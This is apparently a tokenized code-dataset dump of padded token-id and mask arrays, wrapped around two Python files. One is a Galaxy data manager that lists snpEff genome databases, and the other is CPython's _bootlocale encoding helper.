32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mr-c/tools-iuc
data_managers/data_manager_snpeff/data_manager/data_manager_snpEff_databases.py
1
3095
#!/usr/bin/env python import sys import os import re import tempfile import subprocess import fileinput import shutil import optparse import urllib2 from ftplib import FTP import tarfile from galaxy.util.json import from_json_string, to_json_string def stop_err(msg): sys.stderr.write(msg) sys.exit(1) def fetch_databases(data_manager_dict, target_directory, jar_path): (snpEff_dir,snpEff_jar) = os.path.split(jar_path) if not os.path.exists(target_directory): os.makedirs(target_directory) databases_path = os.path.join( target_directory, 'databases.out' ) databases_output = open(databases_path,'w') args = [ 'java','-jar', ] args.append( snpEff_jar ) args.append( 'databases' ) # tmp_stderr = tempfile.NamedTemporaryFile( prefix = "tmp-data-manager-snpEff-stderr" ) # databases_output = open(databases_path) # proc = subprocess.Popen( args=args, shell=False, cwd=snpEff_dir, stdout=databases_output.fileno(), stderr=tmp_stderr.fileno() ) proc = subprocess.Popen( args=args, shell=False, cwd=snpEff_dir, stdout=databases_output.fileno() ) return_code = proc.wait() if return_code: sys.exit( return_code ) databases_output.close() try: data_manager_dict['data_tables'] = data_manager_dict.get( 'data_tables', {} ) data_manager_dict['data_tables']['snpeff4_databases'] = data_manager_dict['data_tables'].get( 'snpeff4_databases', [] ) data_table_entries = [] fh = open(databases_path,'r') for i,line in enumerate(fh): fields = line.split('\t') if len(fields) >= 2: genome_version = fields[0].strip() if genome_version.startswith("Genome") or genome_version.startswith("-"): continue #snpeff test genome if genome_version == '30c2c903' or fields[1].strip() == 'TestCase' or fields[1].strip().startswith('Test_'): continue description = fields[1].strip() + ' : ' + genome_version data_table_entries.append(dict(value=genome_version, name=description)) data_manager_dict['data_tables']['snpeff4_databases'] = data_table_entries except Exception, e: stop_err( 'Error parsing %s %s\n' % (config,str( e )) ) else: fh.close() return data_manager_dict def main(): #Parse Command Line parser = optparse.OptionParser() parser.add_option( '-j', '--jar_path', dest='jar_path', action='store', type="string", default=None, help='snpEff.jar path' ) (options, args) = parser.parse_args() filename = args[0] params = from_json_string( open( filename ).read() ) target_directory = params[ 'output_data' ][0]['extra_files_path'] os.mkdir( target_directory ) data_manager_dict = {} #Create Defuse Reference Data data_manager_dict = fetch_databases( data_manager_dict, target_directory, options.jar_path) #save info to json file open( filename, 'wb' ).write( to_json_string( data_manager_dict ) ) if __name__ == "__main__": main()
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 984, 199, 646, 747, 199, 646, 295, 199, 646, 5549, 199, 646, 3873, 199, 646, 570, 1210, 199, 646, 5145, 199, 646, 8691, 199, 646, 4011, 18, 199, 504, 14904, 773, 492, 23125, 199, 646, 13608, 199, 199, 504, 486, 15914, 14, 1974, 14, 1001, 492, 687, 63, 1001, 63, 875, 12, 370, 63, 1001, 63, 875, 199, 199, 318, 3631, 63, 1508, 8, 1328, 304, 272, 984, 14, 3083, 14, 952, 8, 1328, 9, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 318, 5267, 63, 17439, 8, 576, 63, 2609, 63, 807, 12, 1347, 63, 3619, 12, 16290, 63, 515, 304, 272, 334, 83, 1590, 21469, 63, 694, 12, 83, 1590, 21469, 63, 7338, 9, 275, 747, 14, 515, 14, 1294, 8, 7338, 63, 515, 9, 272, 340, 440, 747, 14, 515, 14, 2444, 8, 1375, 63, 3619, 304, 267, 747, 14, 8347, 8, 1375, 63, 3619, 9, 272, 16219, 63, 515, 275, 747, 14, 515, 14, 904, 8, 1347, 63, 3619, 12, 283, 17439, 14, 548, 7, 776, 272, 16219, 63, 1199, 275, 1551, 8, 17439, 63, 515, 2584, 87, 358, 272, 1249, 275, 359, 283, 6138, 21810, 7338, 297, 1622, 272, 1249, 14, 740, 8, 308, 1590, 21469, 63, 7338, 776, 272, 1249, 14, 740, 8, 283, 17439, 7, 776, 272, 327, 3529, 63, 3083, 275, 5549, 14, 19320, 8, 2403, 275, 298, 2791, 13, 576, 13, 2609, 13, 83, 1590, 21469, 13, 3083, 2, 776, 272, 327, 16219, 63, 1199, 275, 1551, 8, 17439, 63, 515, 9, 272, 327, 6499, 275, 3873, 14, 7942, 8, 1249, 29, 589, 12, 5218, 29, 797, 12, 8288, 29, 83, 1590, 21469, 63, 694, 12, 3839, 29, 17439, 63, 1199, 14, 9843, 1062, 4635, 29, 2791, 63, 3083, 14, 9843, 342, 776, 272, 6499, 275, 3873, 14, 7942, 8, 1249, 29, 589, 12, 5218, 29, 797, 12, 8288, 29, 83, 1590, 21469, 63, 694, 12, 3839, 29, 17439, 63, 1199, 14, 9843, 342, 776, 272, 372, 63, 600, 275, 6499, 14, 2573, 342, 272, 340, 372, 63, 600, 26, 267, 984, 14, 2224, 8, 372, 63, 600, 776, 272, 16219, 63, 1199, 14, 1600, 342, 272, 862, 26, 267, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 418, 275, 666, 63, 2609, 63, 807, 14, 362, 8, 283, 576, 63, 5987, 297, 1052, 776, 267, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 2545, 5167, 321, 556, 20, 63, 17439, 418, 275, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 2278, 362, 8, 283, 5167, 321, 556, 20, 63, 17439, 297, 942, 776, 267, 666, 63, 1224, 63, 3189, 275, 942, 267, 11155, 275, 1551, 8, 17439, 63, 515, 2584, 82, 358, 267, 367, 284, 12, 604, 315, 3874, 8, 12853, 304, 288, 1504, 275, 1004, 14, 1294, 2258, 84, 358, 288, 340, 822, 8, 955, 9, 2356, 499, 26, 355, 29924, 63, 1023, 275, 1504, 59, 16, 1055, 1913, 342, 355, 340, 29924, 63, 1023, 14, 2460, 480, 8168, 1377, 531, 503, 29924, 63, 1023, 14, 2460, 6096, 2349, 490, 1980, 355, 327, 5167, 321, 556, 511, 29924, 355, 340, 29924, 63, 1023, 508, 283, 1216, 67, 18, 67, 25, 1644, 7, 503, 1504, 59, 17, 1055, 1913, 342, 508, 283, 1746, 7, 503, 1504, 59, 17, 1055, 1913, 1252, 2460, 360, 774, 25865, 490, 1980, 355, 1369, 275, 1504, 59, 17, 1055, 1913, 342, 435, 283, 520, 283, 435, 29924, 63, 1023, 355, 666, 63, 1224, 63, 3189, 14, 740, 8, 807, 8, 585, 29, 27776, 63, 1023, 12, 536, 29, 1802, 430, 267, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 2545, 5167, 321, 556, 20, 63, 17439, 418, 275, 666, 63, 1224, 63, 3189, 272, 871, 2186, 12, 325, 26, 267, 3631, 63, 1508, 8, 283, 547, 6057, 450, 83, 450, 83, 60, 78, 7, 450, 334, 888, 12, 495, 8, 325, 5082, 776, 272, 587, 26, 267, 11155, 14, 1600, 342, 272, 372, 666, 63, 2609, 63, 807, 199, 199, 318, 2446, 837, 272, 327, 4003, 5817, 7030, 272, 1798, 275, 8691, 14, 14553, 342, 272, 1798, 14, 525, 63, 1422, 8, 2475, 74, 297, 2850, 7338, 63, 515, 297, 2053, 534, 7338, 63, 515, 297, 1595, 534, 1617, 297, 730, 628, 875, 401, 849, 29, 403, 12, 1720, 534, 83, 1590, 21469, 14, 7338, 931, 7, 776, 272, 334, 1419, 12, 1249, 9, 275, 1798, 14, 1122, 63, 589, 342, 339, 1788, 275, 1249, 59, 16, 61, 339, 1862, 275, 687, 63, 1001, 63, 875, 8, 1551, 8, 1788, 7092, 739, 342, 776, 272, 1347, 63, 3619, 275, 1862, 59, 283, 1199, 63, 576, 7, 30479, 16, 2733, 2911, 63, 1725, 63, 515, 418, 272, 747, 14, 8215, 8, 1347, 63, 3619, 776, 272, 666, 63, 2609, 63, 807, 275, 1052, 2378, 327, 2499, 11391, 1180, 10944, 3918, 272, 666, 63, 2609, 63, 807, 275, 5267, 63, 17439, 8, 666, 63, 2609, 63, 807, 12, 1347, 63, 3619, 12, 1511, 14, 7338, 63, 515, 9, 339, 327, 2117, 2256, 370, 2022, 570, 272, 1551, 8, 1788, 12, 283, 6603, 7, 7092, 952, 8, 370, 63, 1001, 63, 875, 8, 666, 63, 2609, 63, 807, 776, 776, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 2446, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 984, 199, 646, 747, 199, 646, 295, 199, 646, 5549, 199, 646, 3873, 199, 646, 570, 1210, 199, 646, 5145, 199, 646, 8691, 199, 646, 4011, 18, 199, 504, 14904, 773, 492, 23125, 199, 646, 13608, 199, 199, 504, 486, 15914, 14, 1974, 14, 1001, 492, 687, 63, 1001, 63, 875, 12, 370, 63, 1001, 63, 875, 199, 199, 318, 3631, 63, 1508, 8, 1328, 304, 272, 984, 14, 3083, 14, 952, 8, 1328, 9, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 318, 5267, 63, 17439, 8, 576, 63, 2609, 63, 807, 12, 1347, 63, 3619, 12, 16290, 63, 515, 304, 272, 334, 83, 1590, 21469, 63, 694, 12, 83, 1590, 21469, 63, 7338, 9, 275, 747, 14, 515, 14, 1294, 8, 7338, 63, 515, 9, 272, 340, 440, 747, 14, 515, 14, 2444, 8, 1375, 63, 3619, 304, 267, 747, 14, 8347, 8, 1375, 63, 3619, 9, 272, 16219, 63, 515, 275, 747, 14, 515, 14, 904, 8, 1347, 63, 3619, 12, 283, 17439, 14, 548, 7, 776, 272, 16219, 63, 1199, 275, 1551, 8, 17439, 63, 515, 2584, 87, 358, 272, 1249, 275, 359, 283, 6138, 21810, 7338, 297, 1622, 272, 1249, 14, 740, 8, 308, 1590, 21469, 63, 7338, 776, 272, 1249, 14, 740, 8, 283, 17439, 7, 776, 272, 327, 3529, 63, 3083, 275, 5549, 14, 19320, 8, 2403, 275, 298, 2791, 13, 576, 13, 2609, 13, 83, 1590, 21469, 13, 3083, 2, 776, 272, 327, 16219, 63, 1199, 275, 1551, 8, 17439, 63, 515, 9, 272, 327, 6499, 275, 3873, 14, 7942, 8, 1249, 29, 589, 12, 5218, 29, 797, 12, 8288, 29, 83, 1590, 21469, 63, 694, 12, 3839, 29, 17439, 63, 1199, 14, 9843, 1062, 4635, 29, 2791, 63, 3083, 14, 9843, 342, 776, 272, 6499, 275, 3873, 14, 7942, 8, 1249, 29, 589, 12, 5218, 29, 797, 12, 8288, 29, 83, 1590, 21469, 63, 694, 12, 3839, 29, 17439, 63, 1199, 14, 9843, 342, 776, 272, 372, 63, 600, 275, 6499, 14, 2573, 342, 272, 340, 372, 63, 600, 26, 267, 984, 14, 2224, 8, 372, 63, 600, 776, 272, 16219, 63, 1199, 14, 1600, 342, 272, 862, 26, 267, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 418, 275, 666, 63, 2609, 63, 807, 14, 362, 8, 283, 576, 63, 5987, 297, 1052, 776, 267, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 2545, 5167, 321, 556, 20, 63, 17439, 418, 275, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 2278, 362, 8, 283, 5167, 321, 556, 20, 63, 17439, 297, 942, 776, 267, 666, 63, 1224, 63, 3189, 275, 942, 267, 11155, 275, 1551, 8, 17439, 63, 515, 2584, 82, 358, 267, 367, 284, 12, 604, 315, 3874, 8, 12853, 304, 288, 1504, 275, 1004, 14, 1294, 2258, 84, 358, 288, 340, 822, 8, 955, 9, 2356, 499, 26, 355, 29924, 63, 1023, 275, 1504, 59, 16, 1055, 1913, 342, 355, 340, 29924, 63, 1023, 14, 2460, 480, 8168, 1377, 531, 503, 29924, 63, 1023, 14, 2460, 6096, 2349, 490, 1980, 355, 327, 5167, 321, 556, 511, 29924, 355, 340, 29924, 63, 1023, 508, 283, 1216, 67, 18, 67, 25, 1644, 7, 503, 1504, 59, 17, 1055, 1913, 342, 508, 283, 1746, 7, 503, 1504, 59, 17, 1055, 1913, 1252, 2460, 360, 774, 25865, 490, 1980, 355, 1369, 275, 1504, 59, 17, 1055, 1913, 342, 435, 283, 520, 283, 435, 29924, 63, 1023, 355, 666, 63, 1224, 63, 3189, 14, 740, 8, 807, 8, 585, 29, 27776, 63, 1023, 12, 536, 29, 1802, 430, 267, 666, 63, 2609, 63, 807, 459, 576, 63, 5987, 2545, 5167, 321, 556, 20, 63, 17439, 418, 275, 666, 63, 1224, 63, 3189, 272, 871, 2186, 12, 325, 26, 267, 3631, 63, 1508, 8, 283, 547, 6057, 450, 83, 450, 83, 60, 78, 7, 450, 334, 888, 12, 495, 8, 325, 5082, 776, 272, 587, 26, 267, 11155, 14, 1600, 342, 272, 372, 666, 63, 2609, 63, 807, 199, 199, 318, 2446, 837, 272, 327, 4003, 5817, 7030, 272, 1798, 275, 8691, 14, 14553, 342, 272, 1798, 14, 525, 63, 1422, 8, 2475, 74, 297, 2850, 7338, 63, 515, 297, 2053, 534, 7338, 63, 515, 297, 1595, 534, 1617, 297, 730, 628, 875, 401, 849, 29, 403, 12, 1720, 534, 83, 1590, 21469, 14, 7338, 931, 7, 776, 272, 334, 1419, 12, 1249, 9, 275, 1798, 14, 1122, 63, 589, 342, 339, 1788, 275, 1249, 59, 16, 61, 339, 1862, 275, 687, 63, 1001, 63, 875, 8, 1551, 8, 1788, 7092, 739, 342, 776, 272, 1347, 63, 3619, 275, 1862, 59, 283, 1199, 63, 576, 7, 30479, 16, 2733, 2911, 63, 1725, 63, 515, 418, 272, 747, 14, 8215, 8, 1347, 63, 3619, 776, 272, 666, 63, 2609, 63, 807, 275, 1052, 2378, 327, 2499, 11391, 1180, 10944, 3918, 272, 666, 63, 2609, 63, 807, 275, 5267, 63, 17439, 8, 666, 63, 2609, 63, 807, 12, 1347, 63, 3619, 12, 1511, 14, 7338, 63, 515, 9, 339, 327, 2117, 2256, 370, 2022, 570, 272, 1551, 8, 1788, 12, 283, 6603, 7, 7092, 952, 8, 370, 63, 1001, 63, 875, 8, 666, 63, 2609, 63, 807, 776, 776, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 2446, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jiangzhuo/kbengine
kbe/src/lib/python/Lib/_bootlocale.py
168
1301
"""A minimal subset of the locale module used at interpreter startup (imported by the _io module), in order to reduce startup time. Don't import directly from third-party code; use the `locale` module instead! """ import sys import _locale if sys.platform.startswith("win"): def getpreferredencoding(do_setlocale=True): return _locale._getdefaultlocale()[1] else: try: _locale.CODESET except AttributeError: def getpreferredencoding(do_setlocale=True): # This path for legacy systems needs the more complex # getdefaultlocale() function, import the full locale module. import locale return locale.getpreferredencoding(do_setlocale) else: def getpreferredencoding(do_setlocale=True): assert not do_setlocale result = _locale.nl_langinfo(_locale.CODESET) if not result and sys.platform == 'darwin': # nl_langinfo can return an empty string # when the setting has an invalid value. # Default to UTF-8 in that case because # UTF-8 is the default charset on OSX and # returning nothing will crash the # interpreter. result = 'UTF-8' return result
lgpl-3.0
[ 624, 33, 13460, 10026, 402, 314, 5867, 859, 1202, 737, 12693, 14210, 199, 8, 17932, 701, 314, 485, 2308, 859, 395, 315, 1865, 370, 7114, 14210, 900, 14, 199, 199, 16932, 1133, 492, 5370, 687, 10919, 13, 7522, 1233, 27, 675, 314, 658, 5508, 64, 859, 3140, 1, 199, 624, 199, 199, 646, 984, 199, 646, 485, 5508, 199, 199, 692, 984, 14, 3246, 14, 2460, 480, 2676, 2349, 272, 347, 664, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 29, 549, 304, 267, 372, 485, 5508, 423, 362, 885, 5508, 3430, 17, 61, 199, 2836, 26, 272, 862, 26, 267, 485, 5508, 14, 15639, 775, 272, 871, 4281, 26, 267, 347, 664, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 29, 549, 304, 288, 327, 961, 931, 367, 12139, 10460, 4839, 314, 1655, 6114, 288, 327, 664, 885, 5508, 342, 805, 12, 492, 314, 2615, 5867, 859, 14, 288, 492, 5867, 288, 372, 5867, 14, 362, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 9, 272, 587, 26, 267, 347, 664, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 29, 549, 304, 288, 702, 440, 886, 63, 409, 5508, 288, 754, 275, 485, 5508, 14, 7530, 63, 4159, 815, 1547, 5508, 14, 15639, 775, 9, 288, 340, 440, 754, 436, 984, 14, 3246, 508, 283, 13245, 356, 355, 327, 12992, 63, 4159, 815, 883, 372, 376, 2701, 1059, 355, 327, 1380, 314, 4260, 965, 376, 3866, 574, 14, 355, 327, 3758, 370, 9094, 13, 24, 315, 626, 1930, 2952, 355, 327, 9094, 13, 24, 365, 314, 849, 5960, 641, 32144, 436, 355, 327, 8152, 6548, 911, 12420, 314, 355, 327, 12693, 14, 355, 754, 275, 283, 6610, 13, 24, 7, 288, 372, 754, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 